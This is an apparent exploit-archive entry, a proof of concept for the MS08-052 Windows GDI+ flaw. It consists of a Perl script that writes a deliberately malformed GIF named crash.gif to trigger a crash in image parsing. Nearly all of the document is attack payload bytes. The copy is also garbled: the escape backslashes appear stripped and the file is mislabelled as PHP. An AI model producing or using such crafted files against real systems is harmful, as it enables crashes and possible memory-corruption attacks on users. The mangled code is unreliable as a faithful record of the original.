PoC.php

1
`#!/usr/bin/perl
2
#
3
use strict;`
4

5
`my $gif =`
6

7
`"x47x49x46x38x39x61". # GIF header
8
"x65x00x65x00xF7x0Bx0B". # Logical Screen Descriptor
9
# COLOR Stream
10
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
11
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
12
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
13
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
14
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
15
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
184 collapsed lines
16
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
17
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
18
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
19
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
20
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
21
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
22
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
23
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
24
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
25
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
26
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
27
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
28
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
29
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
30
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
31
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
32
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
33
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
34
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
35
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
36
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
37
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
38
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
39
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
40
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
41
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
42
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
43
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
44
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
45
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
46
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
47
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
48
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
49
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
50
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
51
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
52
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
53
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
54
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
55
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
56
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
57
"x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33x33".
58
"x21". ## Extension Introducer 0x21
59
"x2C". ## Label 0x2C
60
# Data Sub-blocks (1)  Size: 21+1
61
#0
62
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
63
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
64
"x21xEC".
65
#1
66
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
67
"x21xECx21xECx21xECx21xECx21xECx21xECx21x2Cx21xEC".
68
"x21xEC".
69
#2
70
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
71
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
72
"x21xEC".
73
#3
74
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
75
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
76
"x21xEC".
77
#4
78
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
79
"x21xECx21xECx21xECx21x2Cx21xECx21xECx21xECx21xEC".
80
"x21xEC".
81
#5
82
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
83
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
84
"x21xEC".
85
#6
86
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
87
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
88
"x21xEC".
89
#7
90
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
91
"x21x2Cx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
92
"x21xEC".
93
#8
94
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
95
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
96
"x21xEC".
97
#9
98
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
99
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
100
"x21xEC".
101
#10
102
"x21xECx21xECx21xECx21xECx21xECx21x2Cx21xECx21xEC".
103
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
104
"x21xEC".
105
#11
106
"x21xECx21xECx21xECx21xECx21xECx21xECx21xECx21xEC".
107
"x21xECx21xECx21xECx21xECx21xECx2Cx00x00x00x00x0E".
108
"x01x5A".
109
"x00". ## Terminator
110
"x21". ## Extension Introducer 0x21
111
"x2C". ## Label 0x2C
112
# Data Sub-blocks (2) Size: EC+1
113
#0
114
"xECx61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
115
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
116
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
117
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
118
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
119
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
120
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
121
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
122
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
123
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
124
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
125
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
126
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
127
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
128
"x62x61x62x61x62x61x62x61x62x61x62x61x62".
129
#1
130
"xECx61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
131
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
132
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
133
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
134
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
135
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
136
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
137
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
138
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
139
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
140
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
141
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
142
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
143
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
144
"x62x61x62x61x62x61x62x61x62x61x62x61x62".
145
#2
146
"xECx61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
147
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
148
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
149
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
150
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
151
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
152
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
153
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
154
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
155
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
156
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
157
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
158
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
159
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
160
"x62x61x62x61x62x61x62x61x62x61x62x61x62".
161
#3
162
"xECx61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
163
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
164
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
165
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
166
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
167
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
168
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
169
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
170
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
171
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
172
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
173
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
174
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
175
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
176
"x62x61x62x61x62x61x62x61x62x61x62x61x62".
177
#4
178
"xECx61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
179
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
180
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
181
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
182
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
183
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
184
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
185
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
186
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
187
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
188
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
189
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
190
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
191
"x62x61x62x61x62x61x62x61x62x61x62x61x62x61x62x61".
192
"x62x61x62x61x62x61x62x61x62x61x62x61x62".
193
"x00". # Terminator
194
"x3B". # Trailer`
195

196
`open(out, "> crash.gif");
197
binmode(out);
198
print (out $gif);
199
close(out);`
MS08-052 - MS Windows GDI+ Proof of Concept

http://www.evilfingers.com/patchTuesday/PoC.php

milw0rm.com [2008-10-09]
